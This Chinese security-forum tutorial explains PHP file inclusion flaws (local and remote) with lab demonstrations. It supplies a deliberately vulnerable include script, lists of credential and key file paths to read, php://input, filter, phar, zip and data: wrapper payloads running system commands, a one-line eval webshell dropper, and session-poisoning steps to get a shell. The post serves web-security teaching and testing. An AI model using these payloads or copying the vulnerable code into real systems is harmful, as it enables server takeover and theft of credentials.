用户
搜索

该用户从未签到

i春秋-脚本小子

Rank: 2

1

主题

5

帖子

57

魔法币
收听
0
粉丝
1
注册时间
2021-4-6
发表于 2021-7-16 18:25:39 0465
本帖最后由 zxl2605 于 2021-7-16 18:26 编辑

本篇文章作者zxl2605,本篇文章参与i春秋作家连载计划所属明天不熬夜了团队,未经许可禁止转载。连载方向:web安全,内网安全


目录
1.XXE注入
2.记内网渗透的流程
3.MySQL超长字符截断SQL-Column-Truncation
4.文件包含漏洞引发一系列的不安全问题


前言
文件包含漏洞原理:
在网站后端代码开发中,程序员为了提高效率,以及让代码看起来更简洁,会使用“包含”函数功能,比如把一系列的功能函数,基础的类,基础的方法写进function.php中,之后某个文件需要调用的时候,就直接在那个文件头中写上一句代码<?php include 'fuinction.php';?>就可以调用函数代码


目录:
文件包含漏洞形成原理
PHP中引发文件包含漏洞的通常是以下四个函数:
文件包含漏洞应用场景
文件包含技巧之图片木马包含
本地文件包含(LFI)
      1)windows常见的敏感文件路径:
          演示
      2)Linux常见的敏感文件路径:
          演示:
远程文件包含(RFI)
      条件:
      演示
PHP伪协议类型
   常用PHP伪协议讲解
      a)php://input
      b) php:/ /filter
      c)phar://
      d) zip;://
      e) data:URl schema
通过session文件包含getshell
     session简介:
     利用方式:
     演示:


文件包含漏洞形成原理
因为网站功能的需求,会让客户端用户选择需要包含的文件(或者在前端的功能中使用了“包含”),又由于程序员对要包含的文件没有进行安全方面的考虑,就导致了攻击者可以修改包含文件的位置来让后台执行任意代码文件。


PHP中引发文件包含漏洞的通常是以下四个函数:
[AppleScript] 纯文本查看 复制代码
include ()
include_once()
require()
require_once()


文件包含漏洞应用场景
a)具有相关文件包含函数
b)文件包含函数中存在动态变量,比如include $file;
c)攻击者能够控制该变量,比如$file=$_GET['file'];
d)file page等参数


文件包含技巧之图片木马包含
include.php文件代码如下:
[HTML] 纯文本查看 复制代码
<?php
$file = $_GET['file'];
include $file;
?>
1.txt文件代码如下:
[HTML] 纯文本查看 复制代码
<?php phpinfo();?>
通过include文件内的文件包含函数包含我们上传的图片木马,从而去执行图片木马的php代码。
将上面两个文件放入根目录下并进行访问include.php
1SGWW~IO3M5G@${K@1N%EOV.png
这时,include.php就会解析1.txt文件


本地文件包含(LFI)
LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如session文件、日志文件、临时文件等。同时借助此漏洞也可以查看服务器上的一些重要文件。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。

1)windows常见的敏感文件路径:
[HTML] 纯文本查看 复制代码
C:\boot.ini//查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml//Is配置文件
C:\Windows\repair\sam//存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysqI\user.MYD //Mysql root
C:\Windows\php.ini//php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini//Windows系统的基本系统配置文件

一个比较基本的存在有包含漏洞的代码
[HTML] 纯文本查看 复制代码
<?php
      $file=$_GET['file'];
       include $file;
?>

演示:
在自己搭建的环境下
index.php文件改成如下:
WD%W](B4}%OV93LNK~R@8T3.png
我们是通过$_GET的方式,传输了一个file的参数,那么这个参数就是我们可以去控制的地方。

我们利用这文件包含的原理,查看1.html文件
SWI[AGL90M[BCZT8P{[EO.png
也可以查看Windows系统的基本系统配置文件
3UN)DWS}@}Z[030}HZ032.png

2)Linux常见的敏感文件路径:
[HTML] 纯文本查看 复制代码
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts//记录每个访问计算机用户的公钥
/etc/passwd//存放账户的文件
/etc/shadow//存放密码的文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts//记录系统挂载设备
/porc/config.gz//内核配置文件
/var/lib/mlocate/mlocate.db//全文件路径
/porc/self/cmdline//当前进程的cmdline参数

演示:
事前在自己的lunix靶机根目录下写个简单的文件包含漏洞1.php
9Z8GUR[MJ)678$E]E%{K}FY.png
再写个1.html
VO]~224HRZ(LEHVEVMCY{K8.png
利用文件包含查看
http://192.168.0.134/1.php?file=1.html
C`]W}9FU7)MT5]LBLY`T.png
在利用文件包含漏洞,查看存放账号的地方/etc/passwd
http://192.168.0.134/1.php?file=/etc/passwd
E7{SJER[UXXE~$)P@X6VK02.jpg


远程文件包含(RFI)
RFI(Remote File Inclusion)远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性会很大。但RFl的利用条件较为苛刻,需要php.ini中进行配置

条件:
1、allow_url_fopen = On
该选项为on便是激活了URL形式的fopen封装协议使得可以访问URL对象文件等。
2、allow_url_include: On
该选项为on便是允许包含URL对象文件等

演示(在之前文件的前提下)
http://127.0.0.1/sqllab/Less-1/include.php?file=http://192.168.0.134/1.php?file=1.html
1~GMG]L(5T3N941D`5644CK.png


PHP伪协议类型
[HTML] 纯文本查看 复制代码
file://一访问本地文件系统
http://一访问HTTP(s)网址
ftp://一访问FTP(s) URLs
php://一访问各个输入/输出流(I/O streams)
zlib://一压缩流
data://一数据(RFC 2397)
glob://―查找匹配的文件路径模式
phar:// —PHP归档
ssh2:// - Secure Shell 2
rar:// 一 RAR
ogg:/一音频流
expect:// 一处理交互式的流

常用PHP伪协议讲解
a)php://input
它是个可以访问请求的原始数据的只读流,说得简单点,就是获取post传过去的数据
利用条件:
allow_url_include = on
(其他选项菜单--->PHP扩展及设置----->参数开关设置----->allow_url_include)
allow_url_fopen不做要求

利用方式:
index.php?file=php://input
POST:
[HTML] 纯文本查看 复制代码
<?php phpinfo();?>
<?php system('ipconfig');?>
<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST[cmd])?>');?>

演示:
include.php文件放入sqllab靶场的第一关
include.php代码如下
[HTML] 纯文本查看 复制代码
<?php
      $file=$_GET['file'];
      include $file;
?>
打开游览器访问sqllab
http://127.0.0.1/sqllab/Less-1/include.php?file=php://input
利用post请求发送
1,<?php phpinfo();?>
DXY(JP2LP(Y{)N)PQT$CSAS.png
2,<?php system('ipconfig');?>
GSZ2RIAU]C%UL1~D2UKI6PF.jpg
3,<?php fputs(fopen('shell.php', 'w'), '<?php eval($_POST[cmd])?>');?>
写一句木马进去
[N9I(6G90D7BOVBX(PTUV%C.png
这时是空白的
到当前目录查看
@ZXECS5836_KEVMIZA@3YMY.jpg
接下来可以用菜刀,蚁剑进行连接


b) php:/ /filter
我们一般用它来读取源码,不过要先经过base64加密,然后得到结果再base64解密就行.
利用方式:
index.php?page=php://filter/read=convert.base64-encode/resource=file1.php
index.php?page=php://filter/read=convert.base64-decode/resource=file1.php

演示:
利用获取该目录下的index.php文件
http://127.0.0.1/sqllab/Less-1/include.php?file=php://filter/read=convert.base64-encode/resource=index.php
WA72_`@_M$KVN7LAJAPF80Y.jpg
使用base64解密,成功将index.php解读出来
31Z26UO92J~1B@9TDO`L(X8.jpg



c)phar://
利用条件
php版本大于等于php5.3.0
利用方式:
假设有个文件phpinfo.txt,其内容为<?php phpinfo();?>,打包成zip的压缩包,然后包含。
index.php?page= phar://../ ../sqllab\Less-1/phpinfo.zip/phpinfo.txt

演示:
将压缩文件放置在根目录下
http://127.0.0.1/sqllab/Less-1/include.php?file=phar://phpinfo.zip/phpinfo.txt
LIW(TK_9_)IQ0@5UTS2[BLM.png


d) zip;://
利用条件:
php版本大于等于php5.3.0
利用方式:
假设有个文件phpinfo.txt,其内容为<?php phpinfo();?>,打包成zip的压缩包,然后包含。但使用zip协议,需要指定绝对路径,同时将编码#改为URL编码%23,之后填上压缩包文件。
index.php? page=zip://D:\phpstudy\PHPTutorial\www\DVWA-master\vulnerabilities\fi\phpinfo.zip%23phpinfo.txt

演示:
http://127.0.0.1/sqllab/Less-1/include.php?file=zip://D:\phpStudy\PHPTutorial\WWW\sqllab\Less-1\phpinfo.zip%23phpinfo.txt
]ULAUVSX1~S@}0ZN9)`%ORB.png



e) data:URl schema
利用条件:
1. php版本大于等于php5.2
2. allow_url_include = on
3. allow_url_fopen = on
利用方式:
index.php?file=data:text/plain,<?php phpinfo();?>
index.php?file=data:text/plain,<?php system("whoami");?>

演示:
http://127.0.0.1/sqllab/Less-1/include.php?file=data:text/plain,<?php phpinfo();?>
YJ@}`B[9I9FT)6T5EX{)CM9.png
http://127.0.0.1/sqllab/Less-1/include.php?file=data:text/plain,<?php system("whoami");?>
PTLNVQ76~)(65}MLW)EDT~L.png


通过session文件包含getshell
session简介:
cookje存在客户端,session存在服务端,cookie一般用来保存用户得账户密码,tession一般用来跟踪会话。
说明:一般对于登陆点存在注册用户的,那么就可以起一个为payload的名字,这样会将payload保存在session文件中
利用条件:
①session文件路径已知②且其中部分内容可控制
session文件路径位置可以通过phpinfo页面来获取,seesion_save_path也可以猜测常见的一些session存储位置:
[HTML] 纯文本查看 复制代码
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID


演示:
演示环境:事先将一个phpinfo.php文件放入sqllab靶场中
)}I%PQX40M`J9CSHQR{XCT6.jpg
由于靶场的session是不可控的,所以在sqllab靶场里放一个session.php使session可控
I5]BK]T{XLT~)KW(6JFHK.jpg
开始操作:
当你拿到一个目标站点的时候,你会发现对方有一个phpinfo的信息泄露,可以利用phpinfo的信息来找到session文件存储的路径
W@NT_E7~K92O98Z6(2`)U}U.png
http://127.0.0.1/sqllab/Less-1/session.php?inc=<?php phpinfo();?>
BH`SIK1%_(7NKLPN1`TKYJ6.png
然后我们根据路径去查看session文件
VFBZGESYSD3X)(%(OV[33]8.jpg
发现已经将命令发送在session文件中
将文件名复制
sess_anqjukmq0me76bo0asv5admkt2
这时我们就开始利用文件包含
http://127.0.0.1/sqllab/Less-1/include.php?file=D:\phpStudy\PHPTutorial\tmp\tmp\sess_anqjukmq0me76bo0asv5admkt2
T0H$WTE~%{S@V[(%8CSPJ9B.png
发现能成功getshell



LIW(TK_9_)IQ0@5UTS2[BLM.png
发新帖
您需要登录后才可以回帖 登录 | 立即注册